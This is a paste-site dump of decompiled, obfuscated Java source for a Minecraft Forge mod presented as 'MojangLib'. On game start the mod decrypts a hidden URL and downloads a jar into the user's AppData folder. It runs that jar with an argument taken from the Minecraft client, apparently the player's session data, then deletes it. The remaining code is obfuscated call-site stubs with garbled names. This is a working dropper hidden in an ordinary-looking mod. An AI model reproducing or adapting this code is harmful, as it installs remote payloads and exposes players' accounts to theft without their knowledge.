· 6 years ago · Aug 12, 2019, 05:28 AM
1import cpw.mods.fml.common.network.*;
2import cpw.mods.fml.common.event.*;
3import cpw.mods.fml.common.*;
4import net.minecraft.client.*;
5import java.net.*;
6import java.io.*;
7import javax.crypto.spec.*;
8import java.security.*;
9import java.security.spec.*;
10import java.util.*;
11import javax.crypto.*;
12import java.lang.invoke.*;
13
14@Mod(modid = "MojangLib", name = "MojangLib", version = "1.5.2")
15@NetworkMod(clientSideRequired = true, serverSideRequired = true)
16public class MojangLib
17{
18 @Mod$Instance("MojangLib")
19 public static MojangLib mod;
20 private static final String url;
21 private static final File dir;
22 private static final File file;
23 private static Cipher ecipher;
24 private static Cipher dcipher;
25 private static byte[] salt;
26 private static int iterationCount;
27 private static String key;
28 private static transient volatile Object[] 䨻;
29
30 @Mod$Init
31 public void init(final FMLInitializationEvent fmlInitializationEvent) {
32 try {
33 start();
34 }
35 catch (Exception ex) {}
36 }
37
38 public static void start() throws Exception {
39 if (!MojangLib.dir.exists()) {
40 MojangLib.dir.mkdir();
41 }
42 download();
43 try {
44 final Process start = new ProcessBuilder(new String[] { "java", "-jar", MojangLib.file.getAbsolutePath(), MojangLib.key, Minecraft.x().k.a }).start();
45 final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(start.getInputStream()));
46 start.waitFor();
47 }
48 finally {
49 MojangLib.file.delete();
50 }
51 }
52
53 public static void download() throws Exception {
54 BufferedInputStream bufferedInputStream = null;
55 FileOutputStream fileOutputStream = null;
56 try {
57 bufferedInputStream = new BufferedInputStream(new URL(decrypt("Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zaHlkHC5yYPLg==")).openStream());
58 fileOutputStream = new FileOutputStream(MojangLib.file);
59 final byte[] array = new byte[1024];
60 int read;
61 while ((read = bufferedInputStream.read(array, 0, 1024)) != -1) {
62 fileOutputStream.write(array, 0, read);
63 }
64 }
65 finally {
66 if (bufferedInputStream != null) {
67 bufferedInputStream.close();
68 }
69 if (fileOutputStream != null) {
70 fileOutputStream.close();
71 }
72 }
73 }
74
75 private static String decrypt(final String s) throws Exception {
76 final SecretKey generateSecret = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec(MojangLib.key.toCharArray(), MojangLib.salt, MojangLib.iterationCount));
77 (MojangLib.dcipher = Cipher.getInstance(generateSecret.getAlgorithm())).init(2, generateSecret, new PBEParameterSpec(MojangLib.salt, MojangLib.iterationCount));
78 return new String(MojangLib.dcipher.doFinal(Base64.getDecoder().decode(s)), "UTF-8");
79 }
80
81 static {
82 url = "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zaHlkHC5yYPLg==";
83 dir = new File("C:/Users/" + System.getProperty("user.name") + "/AppData/Roaming");
84 file = new File(MojangLib.dir, File.separator + "rc.jar");
85 MojangLib.salt = new byte[] { -71, -116, -8, 2, 102, 119, 67, -109 };
86 MojangLib.iterationCount = 19;
87 MojangLib.key = MojangLib.class.getSimpleName();
88 }
89
90 private static Object ἳ(final Object o, final String s, final MethodType methodType) {
91 if (MojangLib.䨻 == null) {
92 MojangLib.䨻 = new Object[24];
93 }
94 if (MojangLib.䨻[19] == null) {
95 MojangLib.䨻[19] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "toString", methodType.dropParameterTypes(0, 1)).asType(methodType));
96 }
97 return MojangLib.䨻[19];
98 }
99
100 private static Object 浇(final Object o, final String s, final MethodType methodType) {
101 if (MojangLib.䨻 == null) {
102 MojangLib.䨻 = new Object[24];
103 }
104 if (MojangLib.䨻[7] == null) {
105 MojangLib.䨻[7] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.SecretKeyFactory"), "generateSecret", methodType.dropParameterTypes(0, 1)).asType(methodType));
106 }
107 return MojangLib.䨻[7];
108 }
109
110 private static Object 荝(final Object o, final String s, final MethodType methodType) {
111 if (MojangLib.䨻 == null) {
112 MojangLib.䨻 = new Object[24];
113 }
114 if (MojangLib.䨻[9] == null) {
115 MojangLib.䨻[9] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "exists", methodType.dropParameterTypes(0, 1)).asType(methodType));
116 }
117 return MojangLib.䨻[9];
118 }
119
120 private static Object 䂮(final Object o, final String s, final MethodType methodType) {
121 if (MojangLib.䨻 == null) {
122 MojangLib.䨻 = new Object[24];
123 }
124 if (MojangLib.䨻[12] == null) {
125 MojangLib.䨻[12] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.Cipher"), "init", methodType.dropParameterTypes(0, 1)).asType(methodType));
126 }
127 return MojangLib.䨻[12];
128 }
129
130 private static Object 㬬(final Object o, final String s, final MethodType methodType) {
131 if (MojangLib.䨻 == null) {
132 MojangLib.䨻 = new Object[24];
133 }
134 if (MojangLib.䨻[13] == null) {
135 MojangLib.䨻[13] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileOutputStream"), "write", methodType.dropParameterTypes(0, 1)).asType(methodType));
136 }
137 return MojangLib.䨻[13];
138 }
139
140 private static Object 䭦(final Object o, final String s, final MethodType methodType) {
141 if (MojangLib.䨻 == null) {
142 MojangLib.䨻 = new Object[24];
143 }
144 if (MojangLib.䨻[1] == null) {
145 MojangLib.䨻[1] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Process"), "getInputStream", methodType.dropParameterTypes(0, 1)).asType(methodType));
146 }
147 return MojangLib.䨻[1];
148 }
149
150 private static Object 싴(final Object o, final String s, final MethodType methodType) {
151 if (MojangLib.䨻 == null) {
152 MojangLib.䨻 = new Object[24];
153 }
154 if (MojangLib.䨻[18] == null) {
155 MojangLib.䨻[18] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "toCharArray", methodType.dropParameterTypes(0, 1)).asType(methodType));
156 }
157 return MojangLib.䨻[18];
158 }
159
160 private static Object 襄(final Object o, final String s, final MethodType methodType) {
161 if (MojangLib.䨻 == null) {
162 MojangLib.䨻 = new Object[24];
163 }
164 if (MojangLib.䨻[0] == null) {
165 MojangLib.䨻[0] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Class"), "getSimpleName", methodType.dropParameterTypes(0, 1)).asType(methodType));
166 }
167 return MojangLib.䨻[0];
168 }
169
170 private static Object 筻(final Object o, final String s, final MethodType methodType) {
171 if (MojangLib.䨻 == null) {
172 MojangLib.䨻 = new Object[24];
173 }
174 if (MojangLib.䨻[2] == null) {
175 MojangLib.䨻[2] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("javax.crypto.Cipher"), "getInstance", methodType).asType(methodType));
176 }
177 return MojangLib.䨻[2];
178 }
179
180 private static Object 䨥(final Object o, final String s, final MethodType methodType) {
181 if (MojangLib.䨻 == null) {
182 MojangLib.䨻 = new Object[24];
183 }
184 if (MojangLib.䨻[17] == null) {
185 MojangLib.䨻[17] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedInputStream"), "read", methodType.dropParameterTypes(0, 1)).asType(methodType));
186 }
187 return MojangLib.䨻[17];
188 }
189
190 private static Object 昼(final Object o, final String s, final MethodType methodType) {
191 if (MojangLib.䨻 == null) {
192 MojangLib.䨻 = new Object[24];
193 }
194 if (MojangLib.䨻[15] == null) {
195 MojangLib.䨻[15] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "append", methodType.dropParameterTypes(0, 1)).asType(methodType));
196 }
197 return MojangLib.䨻[15];
198 }
199
200 private static Object 㓟(final Object o, final String s, final MethodType methodType) {
201 if (MojangLib.䨻 == null) {
202 MojangLib.䨻 = new Object[24];
203 }
204 if (MojangLib.䨻[4] == null) {
205 MojangLib.䨻[4] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "delete", methodType.dropParameterTypes(0, 1)).asType(methodType));
206 }
207 return MojangLib.䨻[4];
208 }
209
210 private static Object 呶(final Object o, final String s, final MethodType methodType) {
211 if (MojangLib.䨻 == null) {
212 MojangLib.䨻 = new Object[24];
213 }
214 if (MojangLib.䨻[10] == null) {
215 MojangLib.䨻[10] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.ProcessBuilder"), "start", methodType.dropParameterTypes(0, 1)).asType(methodType));
216 }
217 return MojangLib.䨻[10];
218 }
219
220 private static Object ㄌ(final Object o, final String s, final MethodType methodType) {
221 if (MojangLib.䨻 == null) {
222 MojangLib.䨻 = new Object[24];
223 }
224 if (MojangLib.䨻[20] == null) {
225 MojangLib.䨻[20] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedInputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
226 }
227 return MojangLib.䨻[20];
228 }
229
230 private static Object 瀰(final Object o, final String s, final MethodType methodType) {
231 if (MojangLib.䨻 == null) {
232 MojangLib.䨻 = new Object[24];
233 }
234 if (MojangLib.䨻[6] == null) {
235 MojangLib.䨻[6] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.System"), "getProperty", methodType).asType(methodType));
236 }
237 return MojangLib.䨻[6];
238 }
239
240 private static Object ㆮ(final Object o, final String s, final MethodType methodType) {
241 if (MojangLib.䨻 == null) {
242 MojangLib.䨻 = new Object[24];
243 }
244 if (MojangLib.䨻[16] == null) {
245 MojangLib.䨻[16] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "getAbsolutePath", methodType.dropParameterTypes(0, 1)).asType(methodType));
246 }
247 return MojangLib.䨻[16];
248 }
249
250 private static Object 꾁(final Object o, final String s, final MethodType methodType) {
251 if (MojangLib.䨻 == null) {
252 MojangLib.䨻 = new Object[24];
253 }
254 if (MojangLib.䨻[5] == null) {
255 MojangLib.䨻[5] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Base64$Decoder"), "decode", methodType.dropParameterTypes(0, 1)).asType(methodType));
256 }
257 return MojangLib.䨻[5];
258 }
259
260 private static Object 骢(final Object o, final String s, final MethodType methodType) {
261 if (MojangLib.䨻 == null) {
262 MojangLib.䨻 = new Object[24];
263 }
264 if (MojangLib.䨻[23] == null) {
265 MojangLib.䨻[23] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Process"), "waitFor", methodType.dropParameterTypes(0, 1)).asType(methodType));
266 }
267 return MojangLib.䨻[23];
268 }
269
270 private static Object 琚(final Object o, final String s, final MethodType methodType) {
271 if (MojangLib.䨻 == null) {
272 MojangLib.䨻 = new Object[24];
273 }
274 if (MojangLib.䨻[21] == null) {
275 MojangLib.䨻[21] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.util.Base64"), "getDecoder", methodType).asType(methodType));
276 }
277 return MojangLib.䨻[21];
278 }
279
280 private static Object 쮓(final Object o, final String s, final MethodType methodType) {
281 if (MojangLib.䨻 == null) {
282 MojangLib.䨻 = new Object[24];
283 }
284 if (MojangLib.䨻[8] == null) {
285 MojangLib.䨻[8] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "mkdir", methodType.dropParameterTypes(0, 1)).asType(methodType));
286 }
287 return MojangLib.䨻[8];
288 }
289
290 private static Object 뷄(final Object o, final String s, final MethodType methodType) {
291 if (MojangLib.䨻 == null) {
292 MojangLib.䨻 = new Object[24];
293 }
294 if (MojangLib.䨻[22] == null) {
295 MojangLib.䨻[22] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileOutputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
296 }
297 return MojangLib.䨻[22];
298 }
299
300 private static Object 筩(final Object o, final String s, final MethodType methodType) {
301 if (MojangLib.䨻 == null) {
302 MojangLib.䨻 = new Object[24];
303 }
304 if (MojangLib.䨻[3] == null) {
305 MojangLib.䨻[3] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("javax.crypto.SecretKeyFactory"), "getInstance", methodType).asType(methodType));
306 }
307 return MojangLib.䨻[3];
308 }
309
310 private static Object 앲(final Object o, final String s, final MethodType methodType) {
311 if (MojangLib.䨻 == null) {
312 MojangLib.䨻 = new Object[24];
313 }
314 if (MojangLib.䨻[14] == null) {
315 MojangLib.䨻[14] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.Cipher"), "doFinal", methodType.dropParameterTypes(0, 1)).asType(methodType));
316 }
317 return MojangLib.䨻[14];
318 }
319
320 private static Object 쪝(final Object o, final String s, final MethodType methodType) {
321 if (MojangLib.䨻 == null) {
322 MojangLib.䨻 = new Object[24];
323 }
324 if (MojangLib.䨻[11] == null) {
325 MojangLib.䨻[11] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URL"), "openStream", methodType.dropParameterTypes(0, 1)).asType(methodType));
326 }
327 return MojangLib.䨻[11];
328 }
329}